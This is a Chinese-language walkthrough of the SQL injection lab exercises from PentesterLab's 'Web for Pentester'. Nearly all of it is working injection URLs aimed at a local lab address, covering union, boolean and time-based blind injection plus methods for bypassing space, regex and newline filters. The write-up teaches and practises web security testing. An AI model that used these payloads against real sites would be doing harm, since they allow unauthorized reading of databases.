Example 1
字符類型的注入,無過濾
http://192.168.91.139/sqli/example1.php?name=root
http://192.168.91.139/sqli/example1.php?name=root' and 1=1%23
http://192.168.91.139/sqli/example1.php?name=root' and 1=2%23
http://192.168.91.139/sqli/example1.php?name=root' union select 1,2,3,4,5%23
Example 2
與example1差不多,過濾了空格,語句中存現空格就會報錯
mysql注入繞過空格過濾的方法:
1、水平制表(HT) url編碼:%09
2、注釋繞過空格 /*注釋*/
3、括號繞過空格的方法,在time based盲注中
index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109))
特點:1) 既沒有用到逗號、大小於符號 2) 也沒有使用空格 卻可以完成數據的猜解工作!
http://192.168.91.139/sqli/example2.php?name=root'%09and%091=1%23
http://192.168.91.139/sqli/example2.php?name=root'%09and%091=2%23
http://192.168.91.139/sqli/example2.php?name=root'/**/union/**/select/**/1,2,3,4,5%23
Example 3
在example的基礎上,\s匹配任何空白字符,包括空格、制表符、換頁符等,全部過濾掉
可以使用example2中 /*注釋*/ 繞過過濾
http://192.168.91.139/sqli/example3.php?name=root'/**/union/**/select/**/1,2,3,4,5%23
Example 4
數值型的注入,過濾了單引號等,對數值型無效
http://192.168.91.139/sqli/example4.php?id=3 union select 1,2,3,4,5
Example 5
與前面類似,以一個數字開頭的,后面可添加構造的sql語句進行攻擊測試
http://192.168.91.139/sqli/example5.php?id=2 and 1=1--
http://192.168.91.139/sqli/example5.php?id=2 and 1=2--
Example 6
正則表達式值確保了參數id是以一個數字結尾的.他不能確保id參數的開頭是合法的.
你可以變通一下前面說到的檢測方法.你只需要在你的payload后面加上數字.比如你可以這樣:1 or 1=1 # 123.
http://192.168.91.139/sqli/example6.php?id=2 union select 1,2,3,4,5 %23 123
Example 7
解法一:
換行 \n的url編碼是%0a
這邊糾結了好久,最終使用了-- %23 才能注釋掉后面語句
http://192.168.91.139/sqli/example7.php?id=2 and if(ascii(substring(user(),1,1))=112,sleep(1),0)--%23%0a123
解法二:
http://192.168.91.139/sqli/example7.php?id=' and 1=1 %0a1%0a' union select version(),2,3,4,5 %23
Example 8
order by `name` 報錯注入出不來,用了時間盲注一個一個猜解
http://192.168.91.139/sqli/example8.php
?order=name` xor if(ascii(substring(user(),1,1))=111,sleep(5),0)%23
Example 9
與 example8類似,可以通過時間盲注進行逐一猜解
http://192.168.91.139/sqli/example9.php?order=1 xor if(ascii(substring(user(),1,1))=112,sleep(5),0)%23
最后
歡迎關注個人微信公眾號:Bypass--,每周一篇原創高質量的干貨。
參考鏈接:
Web for Pentester II :https://pentesterlab.com/exercises/web_for_pentester/course
Web滲透測試攻略 [三]: http://www.2cto.com/Article/201401/275482.html
Web滲透測試攻略[四]:http://www.tuicool.com/articles/EFV3UzF
Web滲透測試攻略[五]:http://www.tuicool.com/articles/Iza63eM
